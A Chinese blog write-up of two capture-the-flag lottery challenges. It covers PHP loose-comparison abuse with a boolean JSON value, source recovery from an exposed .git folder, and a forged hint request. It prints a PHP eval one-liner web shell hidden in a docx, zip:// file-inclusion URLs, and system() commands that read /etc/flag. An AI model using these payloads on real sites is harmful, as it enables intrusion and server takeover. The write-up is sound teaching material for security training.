攻防世界Lottery&彩票系统

攻防世界Lottery&彩票系统

做了下有关于彩票系统的题,一道是攻防世界上的lottery,还有一道是升级版的彩票系统。

Lottery

准备工作

点击play to win,会来到注册界面,随便注册一个号,会来到buy的页面。一开始我们有20元钱,买flag需要$9990000,钱不够,那么一定是需要修改账户金额的(欧皇除外

抓个买彩票的包看看,numbers是用户输入的彩票,后端生成一个win_numbers来进行逐位比较。

image-20200810115422836

git源码泄露

在robots.txt下看到

User-agent: *
Disallow: /.git/

直接想到git源码泄露,用git_extract拿到源码

image-20200810115735905

php弱类型比较

审计一下api.php,发现buy的函数

function buy($req){
	require_registered();
	require_min_money(2);

	$money = $_SESSION['money'];
	$numbers = $req['numbers'];
	$win_numbers = random_win_nums();
	$same_count = 0;
	for($i=0; $i<7; $i++){
		if($numbers[$i] == $win_numbers[$i]){
			$same_count++;
		}
	}
	switch ($same_count) {
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

$win_numbers是随机生成的字符串,使用php弱类型松散比较,所以此处就是我们可以利用的漏洞。测试一下,发现当true和一个数字或者字母进行比较的时候,永远返回true

image-20200810121510554

json支持布尔类型,改包如下,直接中大奖,舒服了。这样就可以一直刷钱了(非酋集合!火速刷钱,点击就送)

image-20200810122056577

刷够钱买flag,拿下!

image-20200810122703330


彩票系统

这道题涉及之前的php弱类型比较,还有文件上传+伪协议文件包含

这道题的环境在安恒的某次比赛上,这边就不放了,如果之后上线buu那就好了。

看一下截图来跟我云复现一下吧。

准备工作

前端风格和刚才做的lottery很像,一个模子刻出来的。也是注册账号买彩票,抓一下买彩票的包

image-20200810123340040

这次有了上一道题的基础,直接改包刷钱

image-20200810123435608

去账户信息里看看,发现有个用户权限,提示普通用户,那么是不是有管理员呢?继续看下去,发现刷钱只能刷到$5000000

image-20200810123629569

去交易市场看一下,有两个button,一个是买flag的,一个是买hint的,点击没有反应,猜测是没有提交json数据,所以需要我们去构造。

image-20200810123734016

构造请求

方法一

这里我们利用上一题买flag时发送的请求看看,发现传了{"action":"flag"}

image-20200810124628762

购买flag会说钱不够,把我们的钱锁在了$5000000,所以只能购买hint,构造包如下。

POST /api.php HTTP/1.1
Host: das.wetolink.com:44002
Content-Length: 19
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/json
Origin: http://das.wetolink.com:44002
Referer: http://das.wetolink.com:44002/market.php
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: username="2|1:0|10:1596766380|8:username|8:MTIzNDU2|b9c1d7c0c7aecf6f4ba175badf38d35a6be3e07f4974b65621f946482cad03be"; commodity_id="2|1:0|10:1596766421|12:commodity_id|4:Mzg=|93ef8f80732e0c1ecf27ba02c267920523e81a2a5b6c4b9a46a5f022d882d6ef"; PHPSESSID=qjte61iu96k6qrkf4po093iib6
Connection: close


{"action":"hint"}

image-20200810134643673

获得管理员的账号和密码

方法二

查看源码,在js里找到ajax请求,复制到控制台里

直接请求flag会说哥们钱不够,因为把我们钱锁在了$5000000

把flag请求改成hint发送,购买成功

image-20200810135756916

得到管理员账号密码

文件上传+伪协议文件包含

用管理员帐号登录,发现权限已经变成超级管理员

image-20200810140230428

可以看到有一个黑产页面信息处理页面

image-20200810140352030

文件上传只允许上传docx文件,docx本身是一个压缩包,可以在docx里插入一个aaa.php,里面写入一句话木马。

post型蚁剑连

<?php @eval($_POST[a]);?>

上传docx文件,上传成功,然后利用php的zip伪协议包含改文件

http://das.wetolink.com:44002/bill.php?page=zip://./uploads/2f8bc07bf1a7c44b73d93cda8ba3945328bb584d.docx%23aaa

%23是url编码下的#然后aaa不加后缀是因为会自动帮你加上

用蚁剑连接getshell

flag在etc/flag下

image-20200810150728837

get型命令执行

<?php @eval($_GET[b]);?>

同样的,把php文件丢进改了后缀的docx文件里

image-20200810153304733

伪协议包含下

http://das.wetolink.com:44002/bill.php?page=zip://./uploads/efc3256cbfa62bc501c73d0f0f5a850f863b764d.docx%23bbb&b=system('ls');

命令执行成功

image-20200810153457620

在etc/flag找到flag

http://das.wetolink.com:44002/bill.php?page=zip://./uploads/efc3256cbfa62bc501c73d0f0f5a850f863b764d.docx%23bbb&b=system('cat ../../../etc/flag');

image-20200810153739019

posted @ 2020-08-10 15:58  LEOGG  阅读(1701)  评论(0编辑  收藏  举报